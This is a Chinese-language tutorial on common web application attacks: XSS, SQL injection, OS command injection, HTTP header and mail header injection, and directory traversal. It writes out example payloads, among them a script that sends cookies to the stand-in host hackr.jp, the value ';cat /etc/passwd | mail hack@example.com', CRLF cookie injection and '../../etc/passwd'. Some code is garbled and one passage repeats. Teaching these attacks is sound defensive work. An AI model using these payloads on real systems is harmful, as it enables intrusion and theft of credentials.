赞
踩
在web应用中,从浏览器那里接受到的HTTP请求的全部内容,都可以在客户端自由地变更、篡改。所以Web用用可能会接受到与预期数据不相同的内容。
在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP首部、Cookie等途径把攻击代码传入,若这时Web应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到权限。
对Web应用的攻击模式有两种:
主动攻击
* 被动攻击
以服务器为目标的主动攻击主动攻击(active attack)是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源
主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击。
以服务器为目标的被动攻击
被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击。
被动攻击通常的攻击模式如下
1.攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
2.当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
3.中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标Web应用,运行攻击代码。
4.执行完攻击代码,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持有的Cookie等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。
被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造
实施Web应用的安全对策大致分为以下两部分。
客户端的验证
* Web应用端(服务器端)的验证
* 输入值验证
* 输出值验证
#### 1 跨站脚本攻击跨站脚本攻击(Cross-Site Scripting, XSS)是指通过存在安全漏洞的Web网站注册用户的浏览器内存运行非法的HTML标签或者JavaScript进行的一种攻击。动态创建的HTML代码部分可能隐藏这安全漏洞。就这样攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,就会收到被动攻击。
跨站脚本攻击有可能造成以下影响:
利用虚假输入表单骗取用户信息
* 利用脚本窃取用户的Cookie,被害者在不知情的情况下,帮助攻击者发送恶意请求
* 显示伪造的文章或图片
##### 1.1 跨站脚本攻击案例:在表单输入框中嵌入
XSS是攻击者利用预先设置的陷阱触发的被动攻击 例如: 有url为:example.com/login?id=****** 充分熟知此处漏洞特点的攻击者,会创建嵌入恶意代码的URI。并隐藏植入事先准备好的欺诈邮件中,诱导用户点击该URL
http://example.com/login?id=“<span+s=”
浏览器打开该URI后,直观没有发生任何变化,但设置的脚本开始偷偷运行,当用户在表单输入用户名、密码后,就会发送到攻击者的网站(hackr.jp),导致个人登录信息被窃取。
除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie信息。
`<script src=http://hackr.jp/xss.js></script>`
该脚本内指定的http://hackr/xss.js文件。即下面这段采用JavaScript编写的代码
var content = escape(document.cookie)
document.write(‘<img src=https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=http%3A%2F%2Fharkr.jp%2F%3F&pos_id=img-pHqOgaiM-1705308302316)>’)
document.write(content)
document.write(‘>’)
在存在可跨站脚本攻击安全漏洞的Web应用上执行上面代码,即可访问该Web应用所处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站(hackr.jp/),记录在登录日志中。…
SQL注入(SQL Injection)是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击,该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。
Web应用通常都会用到数据库,当需要对数据库表内的数据进行检索或添加、删除等操作时,会使用SQL语句连接数据库进行特定的操作。如果在调用SQL语句的方式上存在疏漏,就有可能执行被恶意注入非法SQL语句。
SQL注入攻击有可能会造成以下等影响。
非法查看或篡改数据库的数据
* 规避认证
* 执行和数据库服务器业务关联的程序等
##### 2.1 SQL注入攻击案例如果有一个搜索URI为:example.com/search?q=西红…
当攻击者把西红柿的查询字段改为"西红柿’–'"
则会查出西红柿的所有数据数据信息(-- 之后全视为注释)
SQL注入是攻击者讲SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击。
比如:在上述案例中,把author的字面值"西红柿’–'"的字符串复制给$q
SELECT * FROM bookTab WHERE auther = ‘$q’ and flag = 1
SELECT * FROM bookTab WHERE auther = ‘西红柿’–’ and flag = 1
可以把所有数据信息,甚至用户信息等重要信息得到或者篡改
OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的系统操作命令以达到攻击的目的。只要能调用Shell函数的地方就有可能被攻击。
OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令启动程序。通过OS注入攻击可以执行OS上安装着的各种程序。
如,有咨询表单,邮件地址,邮件内容。该功能可将用户信息的咨询邮件按已填写的对方的邮件地址发送
如果有一下代码
my $adr = $q->param('mailaddress');
open(MALL, "| /usr/sbin/sendmail $adr");
print MALL "From: info@example.com\n"
程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即$adr
的值。
攻击者则会将下面的值作为邮件地址。
;cat /etc/passwd | mail hack@example.com
程序接收该值,构成以下的命令组合。
| /usr/sbin/sedmail; cat /etc/passwd | mail hack@example.com
攻击者命令中的(;)会在OS中被分解为多个执行命令的标记。
可见,sendmail命令被执行分隔后,接下来会执行 cat /etc/passwd | mail hack@example.com
。那么还有Linux账户信息的文件就会以邮件形式发送到hack@example.com。
HTTP首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或者主体的一种攻击。属于被动攻击。
向首部主体内添加内容的攻击称为HTTP响应截断攻击( HTTP Response Splitting Attack)
如下,Web应用会把从外部接收到的数值,赋给响应首部字段的Location和Set-Cookie。
location: http:…www.example.com/a.cgi?q=12345
Set_cookie: UID=123456
其中 12345 为插入值。
HTTP首部注入攻击可能像这样,通过某些响应首部字段需要处理输出值的地方,插入换行发动攻击。
HTTP首部注入攻击有可能会造成以下一些影响。
设置任何Cookie信息
* 重定向到任意URL
* 显示任意的主体(HTTP响应截断攻击)
##### 4.1 HTTP首部注入攻击案例例如,某网站有分类信息:书籍(id:101)、音乐(id:102)、游戏(id:103)
假设有一个功能,选择对应的分类。将会根据对应的ID反映在响应的Location首部字段内。如:Location: http://example.com/?cat=101
。使浏览器发生重定向跳转。
那么,攻击者用101%0D%0ASet-Cookie:+SID=123456789
代替之前对应的ID后发送请求。
其中,%0D%0A代表HTTP报文中的换行符,紧接着是可强制将攻击者网站的回话ID设置成SID=123456789的Set-Cookie首部字段。
攻击者可以指定修改任意的Cookie信息,通过和会话固定攻击,攻击者伪装成用户。
HTTP响应截断攻击是用在HTTP首部注入的一种攻击,攻击顺序相同,但是讲两个%0D%0A%0D%0A并排插入字符串后。利用两个联系的换行就可以做出HTTP首部与主体分隔所需要的空行,然后就可以插入伪造的主体,打到攻击的目的。
%0D%0A%0D%0A<HTML><HEAD><TITLE>插入想显示的网页内容<!--
在可能进行HTTP首部注入的环节,通过发送上面的字符串,返回结果得到以下这种响应。
Set-Cookie: UID=(%0D%0A: 换行符)
(%0D%0A: 换行符)
<HTML><HEAD><TITLE>插入想显示的网页内容 =>
<!--元本页面首部字段和主体部分全部视为注释
利用这个攻击,已触发陷阱的用户浏览器就会显示伪造的Web页面,再让用户输入自己的个人信息等,可打到跨站脚本攻击相同的效果。
另外,滥用HTTP/1.1中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击成为缓存污染。使用该缓存服务器的用户,在浏览器遭受攻击的网站,会不断地浏览被替换掉的Web网页。
邮件首部注入(Mail Header Injection)是指Web应用中的邮件发送功能,攻击者通过邮件首部To或者Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件。
还是以邮件地址、邮件内容的表单为例;
攻击者将一下数据作为邮件地址发起请求。
bob@hackr.com%0D%0ABcc:user@example.com
%0D%0A在邮件报文中代表换行符。一旦表单所在的Web应用接受这个换行符,就可能实现对Bcc邮件地址的追加发送,而这原本是无法指定的。
另外,如下所示,使用两个连续的换行符就有可能篡改邮件文本内容并发送。
bob@hackr.com%0D%0A%0D%0ATest Message
再以相同的方法,就有可能改写To和Subject等任意邮件首部,或向文本添加附件等动作。
目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历(Path Traversal)攻击。
通过Web应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户使用…/等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录都有可能被访问到。因此,有可能非法浏览、篡改、或者删除服务器上的文件。
例如,有根据文件名获取文件信息:
http://example.com/file?file=0401.log
攻击者设置如下查询字段后请求
http://example.com/file?file=../../etc/passwd
passed等绝对路径上,因此服务器上任意的文件或文件目录都有可能被访问到。因此,有可能非法浏览、篡改、或者删除服务器上的文件。
例如,有根据文件名获取文件信息:
http://example.com/file?file=0401.log
攻击者设置如下查询字段后请求
http://example.com/file?file=../../etc/passwd
这样,服务器的文件就有可能被访问。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。